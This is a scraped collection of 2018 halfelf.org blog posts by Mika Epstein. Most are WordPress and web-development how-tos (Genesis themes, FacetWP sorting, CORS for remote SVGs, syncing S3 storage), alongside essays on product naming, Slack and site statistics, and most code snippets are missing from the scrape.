Which means on one of my sites has an extra hunk of ads in the headers, as Google inserted an ad in each section. And I can’t tell it not to put adds in specific sections. I *can* tell it not to put ads on specific pages, and with Genesis I can do that from within WordPress, but the options just aren’t quite where I want. Yet.
## Setting It Up
Like all
1. In the left navigation panel, visit My ads and select Get Started.
2. On the “Choose your global settings” page, select the ad formats that you’d like to show and click Save.
3. On the next page, click Copy code.
4. Paste the ad code between the < head > and head > tags of each page where you want to show Auto ads.
It takes about 20 minutes for ads to show up
If you’re using Genesis themes, [upgrade to 2.6](https://studiopress.blog/genesis-2-6/) and paste your Publisher ID in the new setting field for Auto Ads, in either the Theme Settings, or the new Customizer panel.
If you don’t *want* that at all, Gary Jones made a plugin to [remove it entirely from Genesis Themes](https://github.com/GaryJones/genesis-disable-adsense-auto-ads). Though I’d point out you don’t have to use it if you don’t want.
**Categories:** How To
**Tags:** ads, genesis, google
---
### [Genesis Theme: Anonymize Posts](https://halfelf.org/2018/genesis-theme-anonymize-posts/)
**Published:** April 5, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Removing ego from posts by removing the author.
**Content:**
Actually, I anonymize my *pages*.
See, I have multiple authors on a site, and one of the things I like is to celebrate them when they post. Awesome. But I *don’t* want to highlight who wrote the pages on the site. Or who posted the videos. Those are informational and don’t need any ego attached.
When using StudioPress’ Genesis theme, you can edit the post authors by filtering `genesis_post_info`
## The Code
Now all my posts are by Barbarians!
**Categories:** How To
**Tags:** genesis, themes, wordpress
---
### [Light Fingered Fish](https://halfelf.org/2018/light-fingered-fish/)
**Published:** April 3, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Stealing hooks to make your fish fly with Jetpack's contact form.
**Content:**
To explain the joke before we get too far, Jetpack’s contact form was originally called Grunion. The book “Memory” by Lois McMaster Bujold uses the phrase “light fingered fish” to talk about fish who elude hooks.
I was building a site for my father and he wanted the contact form to redirect to another page. Thankfully you can do this with a filter on `grunion_contact_form_redirect_url` (see? Grunion? Fish?)
## The Code
If you use the official code, then you’re going to need to know two things:
1\) What is the page *ID* you’re redirecting from
2\) What is the page *slug* you’re redirecting to
Yes, it’s weird that you have to know those, but … well. That’s what we’ve got. I tried to come up with a reason why, and I think it’s just that searching for posts by slug is hard.
Buuuuut what if you wanted to do it by slug?
The benefit to this is you can change the post ID and, as long as it has the same slug, you’re good to go. Also let’s say you have a bunch of separate contact pages (contact-me, contact-mom and so on). You could use the logic to redirect all pages that have the word ‘contact’ or ‘about’ or ‘surprise’ …
**Categories:** How To
**Tags:** contact form, hook, jetpack, wordpress
---
### [Safari and SameOrigin](https://halfelf.org/2018/safari-and-sameorigin/)
**Published:** March 20, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Sometimes Safari is a special snowflake when it comes to clickjacking. Who knew that would break Customizer?
**Content:**
I was updating a site I’ve been neglecting. Due to reasons, it’s been about four months since I’ve looked at it, let alone done any work. But as I was cleaning up the data, moving ads around, and messing with widgets, I found myself stumped.
Customizer was a blank screen.
## Debugging Javascript
Now I happen to know that the WordPress customizer makes heavy use of javascript, so I popped open the console and found this error:
Right away, I knew that the problem *wasn’t* Javascript.
## Safari is Special
A quick search netted me two possible tickets. First, there’s the problem with [customizer failing to load if there was a home/siteurl domain mismatch](https://core.trac.wordpress.org/ticket/39128) and second, [there’s the issue that customizer fails to load in Safari due to X-Origin Header mismatch](https://core.trac.wordpress.org/ticket/40020).
In reading those tickets, I determined that it was *possible* that since this site has WordPress in a folder (yes, named `wordpress`) but runs from the main domain, that could break it. There was also a possibility that NGINX or Apache were set to restrict SAMEORIGIN. Finally, there was the absolutely daft problem that Safari was special and didn’t like extra rules.
Now, since this server runs multiple sites, and only *this* one was having any problems, I threw out all possible server related causes. I also discarded any Multisite related causes, as the site wasn’t the network. Next I determined it absolutely was Safari, by testing on Firefox and Chrome. That left me with the following probable causes:
1. Some code on my site was breaking customizer
…
No, really. That was it.
## The Solution
Two choices here. Figure out what was broken or stop using Safari.
I have reasons for using Safari, so I knuckled down. I searched all lines of my code for anything related to `X-Frame-Options` and came up empty. I tested by commenting out the relevant lines in WordPress core, which worked, but wasn’t tenable.
Then I changed my search and looked for `X-Frame-Options` in all `.htaccess` files, and found this:
Removed that, and done.
## Why Was It There?
I actually put that code in to prevent clickjacking. Clickjacking is what’s called a “UI redress attack.” It happens when a malicious attacker uses transparent or opaque laters to trick someone into clicking a button or a link on page, when they were intending to click another. Usually this is to steal private information.
WordPress already does this for the login page, and for this site, that’s actually the only time ‘private’ data is sent on this site. Which means it’s mostly safe enough to leave be. There are ways I could do this in PHP code, but since WordPress isn’t the only tool on the site, it’s harder to maintain.
The better fix would be to, with Apache or NGINX, check the domain and URL, and only apply clickjacking when I’m not in Customizer.
Of course I have no idea how to do that. Yet.
**Categories:** How To
**Tags:** customizer, debug, safari, wordpress
---
### [Types of Related Posts](https://halfelf.org/2018/types-of-related-posts/)
**Published:** March 29, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** It's all about relativity.
**Content:**
At it’s heart, related posts are the drive to help people find more content on your site. They serve no other purpose than keeping people on your site by piquing their interest in your words.
But what if I told you there were multiple types of related posts for WordPress?
## Categories and Tags
The first type of related posts are really just organization. I have three main categories on this site: How It Is, How It Works, and How To. I also have a million tags, like everyone else. If you wanted to read my thoughts on how things are, or rather why they are, you’d scroll through the category of “How It Works.” If you wanted to see everything I wrote about SVGs, you would check out my tag of ‘svg’ or possibly ‘images.’
The point here is that categorization is a type of related posts. It’s entirely manual, but it’s the best way to say ‘These posts are like each other.’ And they have a fatal flaw. You see, if I wanted to read all the “How To” posts about SVGs, WordPress doesn’t easily cross relate. That is, I can’t list all the items in a category *and* a tag.
Which is why we have …
## Related Posts Plugins
There are two main types of plugins for this. There are the services, like [Jetpack’s related posts](https://jetpack.com/support/related-posts/), that scrape all your posts, toss them into a database, and use some complex algorithms to sort out what is and isn’t related. The other sort scan your posts locally and figure the same thing out.
So which is better? Well. Jetpack requires you to trust Jetpack, or whatever service you pick, with your data. For some people, this can be a deal breaker. On the other hand, if you run it locally, you’re at the behest of how fast your site runs. For example, if it scans your posts live and you have, say, 300k posts, then that could be really slow. Or if it makes it’s own database table, how often is it going to update and cross relate?
By the way, the 300k posts is not an exaggeration. That’s a site I looked at recently.
## Alertnative Relations
There’s a secret third option, actually.
I called it [Semi Related Posts](https://halfelf.org/2017/semi-related-posts/), and while I did it across post types, you could use the general logic. The concept is that instead of letting your site try and divine relations, you could manually connect them. It does require more upfront work, but cross relating posts by hand gives you the ultimate control.
Of course, you’ll note that I did automate this as much as I could. I’m not crazy you know. If you can find a way to do that, maybe code a way to list 4 other posts in the same category *and* tags as this post, then you’ve automagically automated the simple.
Until you hit that 300k post limit. Then you’ll have to rethink things again.
**Categories:** How It Works
**Tags:** related posts, wordpress
---
### [A Name is Not A Description](https://halfelf.org/2018/a-name-is-not-a-description/)
**Published:** March 27, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** "Hello, I'm female developer."
**Content:**
One day, you found a app or plugin or add-on for something. It was a feature you always wanted, did exactly what you needed, was well written and supported. It was that panacea of perfection. You loved it. Then you had a computer crash, or a house fire, or moved, and you forgot what the name was. All you could remember was the name was *something* about what it did. So you decided to Google for it, and quickly found a billion things that fit the bill.
## SEO vs Generic
When you’re naming your product or company, you work very hard to think of a name that encapsulates what you are, what you do, and what makes you unique. For example, you don’t name yourself “Shoe Company” and expect people to be able to find you. With very few exceptions (and really only [No Name](https://www.loblaws.ca/collections/No%20Name/) comes to mind), if you want to stand out, you pick a good name where you are prominent.
This directly relates to SEO, and people’s ability to find you. Ever used Apple Pages or Sheets and tried to Google something? Like “How do I make Pages Templates” perhaps. You often feel damn lucky when you get the right result immediately:

But you’re not Apple, are you? So if you named your product “Foods,” you’d probably have a devil of a time getting ranked so people could find you in search!
## Unique vs Memorable
Take a look at WordPress. Pretend you’re looking for a slider plugin. Hush, just come with me here. Now. You remember a really cool slider plugin, but all you remember is it was named something like “Best Slider Plugin.” Yeah. You ain’t gonna find it. Probably ever. But what if you were looking for a lightbox plugin, and you remembered the name as “Foobox Lightbox” … Hang on a second. That’s one you’re going to be able to find. It has a unique name, but better than that, it has a *memorable* name!
The only reason Apple Pages actually works is that Apple is *huge* and also the fact that most of us Google “Apple Pages whatever” and not just “Pages.” It’s the same with the Apple Watch. It’s nice they call it “Watch.” We call it the “iWatch” because we have to be able to find it, and they picked stupid generic names. Being Apple, they can get away with it.
To their credit, the name is memorable. It’s not unique, but you will remember it. Even if you remember it as “That stupid Pages app Apple made.” You remember Microsoft Word, but you also will remember WordPerfect, and possibly WordStar. But if you listed four Twitter apps, could you remember what differentiates each one without looking? Definitely unique names, like Tweetbot and Twitterific, and certainly memorable, but in the wrong way.
## Names vs Descriptions
Many people make a common mistake. They remember the tools they use on their computers, like “TextEdit” and “Notepad” and they think that in order to be found, the name must be short and descriptive. That’s why we get Notepad++ and iTerm. To an extent, this works. LastPass and OnePassword are going to be memorable *and* unique *and* descriptive names. But the longer a product, or suite exists, the more likely they are to corner a market and make it harder for the little people.
Let’s go back to WordPress. You’ve made a great popup plugin and you want everyone to know it. There are roughly 500 plugins that use ‘popup’ or ‘popups’ as a tag. There are 2500 or so plugins that show up for a search on ‘popup’ in the directory. Besides the fact that you really should use the ‘popup’ tag in your plugin, there’s no way in the world you’re going to get your new popup plugin to the top of the list in a day.
But … users don’t look for ‘popup’ or even ‘best popup plugin.’ They look for something else. “WordPress popup plugin with call to action on page exit.” They may simply that to “wordpress popup plugin call to action page exit” but they’re going to look for what they need. And they’re going to *remember* the plugin named “Wait Don’t Go! Popups” that has a nice plugin description of “Grab your visitors’ attention one more time before they leave your page forever.”
## Humans vs Robots
Putting a million buzzwords in your product’s name, the description, and the URL aren’t ever going to make you popular. The only thing that does is bring people in the yard. If they see your website is fill with upsell and hyperbole, they’re going to walk right out again. If they see features and explanations and proof that you are, indeed, the bees knees, they’ll stay. If you have a catchy or unique name, they’ll remember and recommend you to their friends.
And then, then you will be a success.
**Categories:** How It Is
**Tags:** development, essay
---
### [Reordering Facet Displays ... For Death](https://halfelf.org/2018/reordering-facet-death/)
**Published:** March 8, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Using FacetWP to tackle multiple deaths, sort ordering, and of course, Sara Lance.
**Content:**
Isn’t that a catchy title?
I’m using [FacetWP](https://facetwp.com/?ref=91) to help me order and sort archives in ways that are reflective of the content. One of the things I sort are characters (yeah yeah yeah) and some of those characters are dead. It occurred to me that wouldn’t it be nifty if I could sort the characters by *when* they died?
There was just one problem. Actually there were two. One was Sara Lance, and she’s my personal demon. The other was my own stupidity and lack of foresight. Neither were insurmountable.
## How FacetWP Changes Sort Order
Before I get into the weeds, let’s have a moment to talk about sort order. FacetWP has a way to [filter the sort orders](https://facetwp.com/customize-the-facetwp-sort-options/).
So for an example, I have post meta value for the number of characters saved as `lezshows_char_count` for all shows. If I wanted to sort shows by the most characters to least, I can add this in:
It looks very similar to `WP_Query` and that’s what makes it easy. Except for my two problems…
## Problem One: Formats
The first problem was **not** the Sara Lance problem. It was the ‘Mika didn’t think about things 4 years ago’ problem. I was saving the dates of death in the format of `MM/DD/YYYY`
If you’re an American, you’re wondering “So what?” and if you’re anyone else, you’re giving me a death glare because “08/05/2010” could be August 05 *OR* May 08, and damn it, I knew better. For what it’s worth, the output on the front end is always “05 August 2010” but that’s not here nor there.
You see, the issue isn’t that I was using stupid date/time formats, the issue is *sorting*.
In the previous example, I have an order of `meta_value_num` which is literally a number. What’s the one for dates? You get `meta_value_date` or `meta_value_datetime` and *neither* of them work with the date format I’d chosen.
So for this to work, I had to go and change everything from `MM/DD/YYYY` to `YYYY/MM/DD` – Not fun, but doable. And it led me to my Sara Lance Drama…
## Problem Two: Arrays
How many times has Sara Lance died? Right now, three.
When I decided to sort by the date of death, which one did I pick? Long pause.
I decided to pick the last one. That is the most recent death. If someone’s actually still dead, the most recent death is the one that stuck. If they’re not, then death was pretty arbitrary to begin with and there ya go.
The question became how and where did I save the death? I went with a post meta of `lezchars_last_death` and had it auto update on post save, like this:
If there is a latest death, we get to set it as the `YYYY-MM-DD` value and off we go. But…
## Problem Three: Orderby Hellscape
Surprise! I ran into a third problem! Remember how I was using the `orderby` of `meta_value_num` in my example? And I mentioned that I wanted to use `meta_value_date` or `meta_value_datetime` to sort by date?
Yeah no.
If I’d converted the date into unix time, sure. But I was reusing this logic in a couple places, and I didn’t want to re-save *everything* like that. I also use a query to grab all deaths in a year, and basically I do need to keep it with the format I have. That just messed up my sort until I found the magic of `orderby' => 'meta_value',`
## End Result?
It works. It’s got yet *another* post meta, which I’m not super happy about, but sometimes that’s really just the simplest way to solve a problem. The data is always updating itself, and it’s relatively easy for me to tweak it. Also now I can do a lot more searches in different ways.
Since I don’t have to worry about database size at the moment, nor speed, since I’ve designed it well, this works for me.
**Categories:** How To
**Tags:** facetwp, sorting, wordpress
---
### [CORS - Not Beer](https://halfelf.org/2018/cors-not-beer/)
**Published:** March 13, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Making remote files accessible isn't always as simple as a link.
**Content:**
I’ve been struggling with the idea of remote loading SVGs. There are a lot of problems with this, mostly due to the DOM structure of how your browser loads an SVG file.
## What’s an SVG and the DOM?
Scalable Vector Graphics, or SVG, is a special XML file. It’s generally used like an image, like JPG or PNG, and contains vector graphics. This makes it smaller than PNGs and scalable without resolution loss. Pretty nifty for icons. In fact, better than my beloved Fonts.
This is a part of the Document Object Model, or DOM. In the file, you tell it how you want the content to render. It’s why an SVG can be so powerful, having all the code you need inside a small file. It’s also why it’s so dangerous. Specifically if can contain Javascript code, which can be embedded and hidden in an image. And that can do a lot of damage. If you’re not paying attention, you can upload an SVG with javascript that runs code on the user’s browser. Bad times all around.
Making this worse, if you use `` tags to embed the SVG, many browsers will execute the code. Even today. Yeah… Not really a good thing.
## Embedding SVGs externally has a cost
If you want to include an SVG file in your web page, you *can* use that dangerous `` tag, but you can also use `` code right in the document. The problem there is that requires the SVG to essentially be pasted into the code. For PHP, you can use code like `file_get_contents()` (which doesn’t always work remotely) or if you’re WordPressy, `wp_remote_get()`
The catch there? They’re slow if you list, oh, 69 images on a page. You can, of course, use `` tags and that loads the SVG remotely, perfectly happily. If you’re sure about your SVGs, this is okay. You’re just going to lose one big, super big feature about SVGs.
You can’t use CSS to edit them (color, resizing, etc) anymore.
And that, my friends, is a big problem.
## Javascript End Run
I wasn’t willing to compromise speed or flexibility. I’m particular like that. So I looked up how you can use javascript to hack the DOM. I quickly found [SVGInjector](https://github.com/flobacher/SVGInjector2), a fast, caching, dynamic inline SVG DOM injection library. Installing and configuring was easy buuuuut…
You saw that but coming, right?
Right.
It didn’t work. Because of CORS.
## What the heck is CORS?
Cross Origin Resource Sharing, CORS, is that magical thing that says “Hey you can’t run this resource remotely, yo!” Generally it’s related to Fonts (if you’ve ever tried to embed your own fonts from your own servers, you’d have run into this). I happened to hit it on SVGs, and basically the server where I host the icons wasn’t allowing my servers (local or otherwise) to load the icons.
Thankfully! I use DreamObjects, and you can totally set up [CORS on DreamObjects](https://help.dreamhost.com/hc/en-us/articles/216201557-How-to-setup-Cross-Origin-Resource-Sharing-CORS-on-DreamObjects). You can do it on Amazon S3, and I think all the various CEPH-esque services let you.
The catch here (hah you saw that coming, right?) is that not all *clients* let you do it. Lucky for me, I have [s3cmd](http://s3tools.org/s3cmd) on my laptop (you should too if you’re going to work with S3 type services – it’ll make your life easier). Installing is easy, and you just have to make a `.s3cfg` file ([DreamHost has some instructions](https://help.dreamhost.com/hc/en-us/articles/215916627-S3cmd)).
Once that’s set up, you can make your rules file like this:
and then you can set (and check) your CORS:
And now you can embed your SVGs remotely.
**Categories:** How It Works
**Tags:** cors, dom, external, image, svg
---
### [Remoteless SVG](https://halfelf.org/2018/remoteless-svg/)
**Published:** March 15, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Copying code to the cloud and syncing it locally isn't impossible. Just annoying.
**Content:**
I spent about half a year working on being able to remote load my SVG, and I wanted to for a few reasons:
1. Having only one place to update my icons is more efficient
2. They don’t need to be in code versioning control (like GitHub)
3. Licensing (not all are free)
I solved those problems when I finally figured out SVG Injection (via javascript) and CORS to allow the scripts from my objects.
## It’s not all lollipops and sunshine
However. There was, and is, one really big issue. The icons being remote mean if the remote server isn’t accessible but my site is, I got no icons. Now, the smart dev in me knows that I should have a check. If the server is up, use the icons remotely. Otherwise, use a fallback.
There was one big, and in the end insurmountable, problem with that. There was no way to do that without slowing my site down, [which was the headache in the first place](https://halfelf.org/2017/curious-case-comatose-cloud/). If I check the uptime for every icon on a page, the site went from a 1 second load to up to 20 seconds. In the best solution, I added 2-5 second load to every page checking if the server was up on every page load. Which is kind of the problem with `wp_remote_get()` in the first place.
## Make ’em local again
This meant the ‘best’ solution was to make them local. Again. Yaaay.
But I really didn’t want to have them stashed in GitHub. I wanted my ‘base’ to be the cloud storage, and then that needed to sync. Normally I would use rsync for that but you can’t rsync from CEPH storage.
Don’t panic. There are answers.
### Boto-Rsync
If you’re on DreamPress or any DreamHost server, they’ve forked [`boto-rsync`](https://help.dreamhost.com/hc/en-us/articles/217473218-How-to-use-boto-rsync-with-DreamObjects) and (if you set up a `.boto` file) you can do this:
Using cron or some other scheduling tool, setting up a server to run that at regular intervals isn’t too terrible.
### AWS CLI
There’s also the option of [AWS CLI](https://help.dreamhost.com/hc/en-us/articles/216335908-How-to-use-AWS-CLI-with-DreamObjects), which is very similar, only it’s actually maintained. The advantage with `boto-rsync` is that it’s installed on the servers at DreamHost. If you have AWS CLI on your server, you can do this:
Keep in mind, you need to configure this either with `aws configure` or an `~/.aws/credentials` files.
## Pushing from the outside inside
You may have noticed that, unlike `rsync`, I can’t tell it to push to another server. That is, I can say “sync files from server A to server B” with `rsync` and I *can’t* with either `boto-rsync` or the AWS CLI.
And no, you just can’t.
Unless you use [rclone](https://rclone.org). Which is a little messy but totally do-able.
There’s one other option though… I’ve been using [Codeship to push code](https://halfelf.org/2017/deploying-github-codeship/). That is, every time my GitHub repos update, it triggers a Codeship deploy. And in that deploy I usually just say “Rsync a git clone, k’thnx’bai.”
Now I tell it this too:
I will note there’s *one* extra trick. You have to add [Environment Variables](https://documentation.codeship.com/basic/builds-and-configuration/set-environment-variables/) for AWS\_ACCESS\_KEY\_ID and AWS\_SECRET\_ACCESS\_KEY on Codeship.
This works for me since there are few times I push an icon without also making some code changes to the server code anyway.
Hopefully if gives you some directions.
**Categories:** How To
**Tags:** aws, Codeship, dreamobjects
---
### [Let's Talk, Slack](https://halfelf.org/2018/lets-talk-slack/)
**Published:** February 27, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Dear Slack, I want to like you more, but you don't understand adults.
**Content:**
Hi, Slack. You’re the cool product everyone uses to communicate on scale. You’ve introduced a lot of features and aspects that are great. We all like to use you for our non-company work, but I’ve noticed something interesting.
See. You constantly remind us that Slack is for Business. But you don’t seem to have actually spent enough time in corporate land to understand what that means. So, as someone who worked for nearly 15 years (and recently at that) with The Man, and the last five with a smaller company, let me try to explain to you what mistakes you’re making. Oh, and before anyone asks, yes, I’ve pitched **all** of this in tickets/suggestions to Slack already.
## Constant Barrage
Being able to tune alerts on Slack is basically the only way you have to live or die. I can mute channels or group-chats pretty easily, to allow a conversation I need to be aware of, but not right **now** to carry on around me.
What I can’t do is mute my really, really, really chatty and annoying coworker for an hour so I can get work done.
Oh sure, Slack, it’s passive aggressive to just mute Bob over there who knows I love the Cleveland Problematically Named Baseball Team, and wants to tell me something I will care about in an hour or so. But right now? I have a job. And I want to concentrate without your alerts popping up on my screen and showing that dreaded unread icon. And yes, Slack, I could mute everything, but what about my coworker Jane, the nice one who pings me with an apology because she knows I’m super busy, but she has a critical work problem, and I’m the expert.
Come on, Slack.
## Asynchronicity vs Work/Life
While everyone in startup land likes to brag about how they work 80 hours a week, the reality is that most business aren’t actually that stupid. We take vacations. We don’t work weekends. We like to spend time with family, go to a sports game, and *not* be distracted by the ping of work.
While you have [do not disturb settings](https://get.slack.help/hc/en-us/articles/214908388-Do-Not-Disturb-and-snooze-settings), Slack, I can only set them for specific hours. So yes, I do set them for 4pm to 7am, because I actually do have an end of day. But I can’t set my work **days**, I can’t connect Slack to (say) my Google Calendar and have it automatically detect that I’m out of the office. I have to constantly fiddle and tweak things. It’s a mess.
## Out of Office Messages
Speaking of this, if I (perchance) happen to forget to mark myself as out of the office, I’m going to get alerts. Fine, that’s on me. But. You introduced [custom status messages](https://get.slack.help/hc/en-us/articles/115002531586-Create-custom-status-suggestions), which you tout I can use to announce I’m on vacation. Awesome! Now can you make them useful?
See the problem is I put in “Out of the office until Feb 20” pretty recently, and I thought “My coworkers are intelligent, they’ll see this message and know ‘Aha! Mika is out!’ They don’t. And looking at this, I can’t blame them becuase of two things:
1. Readability on MacOS is shit
2. The message doesn’t fully show on iOS
Don’t believe me? Here:
[](https://halfelf.org/wp-content/uploads/sites/2/2018/02/iOS.png)Slack Example from iOS[](https://halfelf.org/wp-content/uploads/sites/2/2018/02/MacOS.jpg)Slack example from MacOSThose are hard to read! And why don’t they auto-alert like a DND message does when someone DMs me? “Mika is currently \[status message\]” — Oh yes, Slack, I know people like to use those for jokes. Want to stop them? Make them auto-reply. Then people would only use them for real.
And by the way…
## You’re Ageist
Let me tell you a story.
Once upon a time, not very long ago either, I supported desktop software. I received a phone call from someone in the Big Building, aka where the real bankers worked, and she couldn’t use a product because the screen was unreadable. She couldn’t see the buttons or dropdown. I asked her to give me 30 minutes and I would call her back. Quickly I went through a few steps to size and resize the window, and I couldn’t figure it out. I called her back and asked if I could come to her office.
One 20 minute bus ride later, I’m at the fancy building, going through metal detectors, and I head up to her floor. I apologize for not being in a suit and ask her to please show me her desktop. One glance and I realized the problem was that her desktop itself had been resized. I explained I was going to change the resolution, resize it, and see if that fixed it. I promised I would reset everything.
Nervous, she allowed this. After all, if I closed a specific window, I could cost the company a hefty bit of money. I very cautiously (without minimizing anything), changed the resolution.
“Oh, that’s how it was this morning! My coworker was using my workstation.”
After I head-desked a few times, I checked the app I was responsible for. It was set to take up most of the screen but not all. I resized it, manually, and then restored her preferred resolution. I then wrote down how I did that, how to fix it in the future, and went to give her coworker a stern word that began with “The first rule of using someone else’s workstation is *THOU SHALT NOT MESS WITH THEIR SETTINGS*.”
A few years later, when I no longer worked on that team, I got a phone call from her again. “My new coworker is having the weird screen problem I had a million years ago. Can we pay you with lunch to fix it again?”
Of course I said yes.
Now re-read those problems I have with you, Slack. Because you’re worse.
## To Review
I look at Slack, and I look at the problems I have, and I think “If I wasn’t technically competent, I would be lost.” And I realized “I **am** technically competent and I still get lost.”
Slack. If you want to make it bigger, if you want big companies and banks to start using you instead of Lotus Notes Messenger, you need to step up your game. Provide business tools, the ones they need to make sure if they’re not available, someone knows who to contact next. Treat people like grown ups with mortgages, not 20-somethings who exist on packing peanuts and internships.
Basically, Slack, you want the grown ups? Grow up.
**Categories:** How It Is
**Tags:** oped, slack
---
### [The Invisible Facets](https://halfelf.org/2018/the-invisible-facets/)
**Published:** March 6, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Sorting data that doesn't exist can be difficult, because there's nothing to save. So you have to think around it.
**Content:**
I’ve been using [FacetWP](https://facetwp.com/?ref=91) for a year or so and it’s, hands down, the smartest WordPress plugin I’ve ever bought. Certainly I could have coded it, but not having to and being able to extend it to do what I need has saved me months of work and support.
This is not to say it’s perfect. I’ve run into multiple quirks and headaches that resulted in me writing weird code to solve. And the solution to the null entry was no different. But it was, at the end, solvable.
## A Null Entry
The majority of my data is saved in custom taxonomies. This makes it easy for me to grab and process. It’s also easy to list, because I can point people at `/taxonomy/term` and FacetWP magically populates properly in the sidebar.
However. In one case, I have a checkbox. This is a simple post-meta to say if we love a show or not, and that check box, if it exists, is detected by FacetWP and I can easily get a list of all loved shows. The reverse is, sadly, not easy.
That’s because if the checkbox is empty, there is nothing saved. No post meta. And if there’s no data, then when FacetWP builds out it’s list, there’s nothing saved for the non-existent data, and therefore no way to list nothing.
## An Imaginary Entry
The other problem, related to this, is that I use Taxonomies in a different way. That is, while I use them like everyone else does with tags and categories, I also use them to track ‘stars’ – gold or silver etc. Obviously that makes it easy to track with `/stars/gold/` buuuuuuut what if I wanted to list all the shows *without* any stars?
How do I tell FacetWP ‘if there’s no taxonomy data saved for this, use a default?’
## A Fake Facet
The answer lies within making a fake, that is unused, facet.
The tl;dr to [how FacetWP works](https://facetwp.com/documentation/how-facetwp-works/) is that it generates it’s own table with the data it collects from it’s facets. In general, there’s a 1-to-1 relationship with the facet and how it outputs. If you’re saving the terms of a taxonomy (like star colors), then there’s an entry in the database for the show and it’s star. If something has multiple values (like tags) then it has multiple entries.
You can then alter the
## The Facet
In order to make entries for my null or imaginary values, I made a facet that I didn’t use that I called `all_the_missing` and I gave it the data source of “Post Types”:
[](https://halfelf.org/wp-content/uploads/sites/2/2018/02/all_the_missing-facet.jpg)
The rest doesn’t matter. I’m not planing to display this, and I picked post types because it’s a quick bit to add the database without making it too heavy or complicated. Also I know it’ll exist for all my data.
## The Filter
The magic to all this is my [filter for `facetwp_index_row`](https://facetwp.com/documentation/facetwp_index_row/):
Now this is *also* wrapped in an `if ( get_post_type( $params['post_id'] ) == 'post_type_shows' ) {...}` check so this particular one only runs when shows are saved. But you can see what I do is when I run that specific facet, I check if the *other* data is available and if so, save it.
## Improvements
I’d like to actually not have to save data when I don’t need it, but the need is enough that having this work was paramount. I can now sort when there’s no data, and that was what I needed.
**Categories:** How To
**Tags:** facetwp, wordpress
---
### [What Is The Measure of a Site?](https://halfelf.org/2018/what-is-the-measure-of-a-site/)
**Published:** February 22, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** What are you measuring? What is useful? What is the right way to explain it all?
**Content:**
After you think about where you’re saving your data, internally or externally, you’re going to be faced with the biggest problem known to exist.
What do you *do* with your data?
## Common Data is (Mostly) Obvious
Some data, as I’ve said before, is obvious. That is, you know what you want to do with statistics of visits. The base outset is ‘figure out how many people visit my site.’ Right? Not too hard. But that isn’t all you want to know. You want to know when your site is busiest, what content people read, and maybe you want to know on what device.
You want to know these things because they can help you optimize what you do next. If, for example, your Monday posts are super popular, then you want to make sure you post them at the time the most people are going to visit your site. If you know only 2 people view your site on an iPad, maybe fixing that little annoyance can wait a bit.
## Rare Data is A Headache
On the other hand, when you look at statistics for your complex data, like a site with TV shows and characters and actors, you have a completely different problem. What public stats are both relevant *and* meaningful? And how do you represent them in ways that people can understand?
Like, do you use piecharts?
[](https://halfelf.org/wp-content/uploads/sites/2/2018/02/pie-charts.jpg)
They can be helpful but only if you don’t have a large number of data slices.
I made a pie chart with 28 slices and it was unreadable. Though that was mostly because everyone had between 1-5% except for one that had 75%.
## The Question Is Usage
This is a problematic question because it has no easily defined answer *before* you start building out your site. We’ve all seen an image of a paved path and then a foot-trail cutting away from it, or winding around an obstacle. People like to joke about how it’s design vs usage. While our goal when making any product is to avoid people walking off the paths, it’s unavoidable. And in the case of public statistics, it’s even harder to predict usage.
A large reason for the problem is what is called a failure of imagination. This is, in part, the fault of the designers. That is, they didn’t predict things properly. Which requires metrics. Which can’t be gathered until people have used the site a little.
You see the problem, I hope.
## Start With The Easy
When I built out stats on my site, the ones I wanted people to use, I made sure to start with some easy things. Like those pie charts. Those are just pulled from a custom taxonomy which every character has. They’re simple. They’re easy. And they let people visualize.
After I released it, someone asked “Could we have a chart to show how many actors a character has?”
[](https://halfelf.org/wp-content/uploads/sites/2/2018/02/actors-per-char.jpg)
That was actually not easy, but the point is that by starting with something ‘easy’ I was able to inspire people to ask what they wanted to see.
## Don’t Be Afraid to Be Wrong
Remember I mentioned that evil pie chart? You’re going to be wrong. You’re going to assume that the best way to show a specific data point is a pie chart when it really should be a bar chart. If you pick the right chart systems, it shouldn’t be too horrible to switch between them. But sometimes it will be.
Just remember, it’s okay to make mistakes. You can dig up a path and repave it after all.
**Categories:** How It Is
**Tags:** chart, statistics
---
### [Processing Numbers with WordPress](https://halfelf.org/2018/processing-numbers-with-wordpress/)
**Published:** February 20, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Getting at your data to make meaningful metrics starts with saving them smartly.
**Content:**
The very idea of ‘I should make statistics’ or ‘what are the metrics of this’ starts from the same place. We have a desire to understand what a thing is. Statistics, like traffic, and metrics, like speed, can tell us obviously important information about our sites. Faster sites do better. More traffic gets you more… whatever.
But those are the obvious things. There are easy to understand numbers and there are difficult to process numbers. And it all matters where you save the data.
## Getting At The Data
When I set about making statistics for LezWatchTV, the biggest problem I faced was determining what I wanted to show. Some things were simple. How many characters died and what percent of *all* characters was that? How many shows have dead characters?
Since I chose to use WordPress features, like custom taxonomies, for the majority of the aspects of the site, getting those numbers was simple. There were, of course, some that were very difficult to get at, and this is fully of my own design. Sometimes there will be data you want to use that is just harder to get at than others.
This means the question of understanding your numbers begins with understanding where they belong.
## Save Data in Smart Places
I say this over and over. Use WordPress’ native features *first*.
I mean use the taxonomies and the custom post types and the post meta wisely. But. When you’ve got a lot of data that needs to be cross related, consider saving it someplace else. For example, the reason [FacetWP](https://facetwp.com/?ref=91&campaign=HalfElf) is so damn fast is that it doesn’t query WordPress all the time, and instead uses it’s own tables.
Having it’s own table means there’s less overhead as they can make direct SQL calls to pull the data. When you have data spread across three post types, this becomes pretty much an imperative. You just have to script the code to save it properly.
## External Data
While FacetWP does save data to it’s own tables, there is another option, and that is external locations. You’re most familiar with this with regards to Google Analytics. Some data makes sense to keep local, but keep in mind what you’re doing and what you’re generating with the data. When it’s just posts, local is perfectly logical. When you get into statistics… Well. Maybe you should export it.
That brings up the next question. What data to you export, and to where.
**Categories:** How It Is
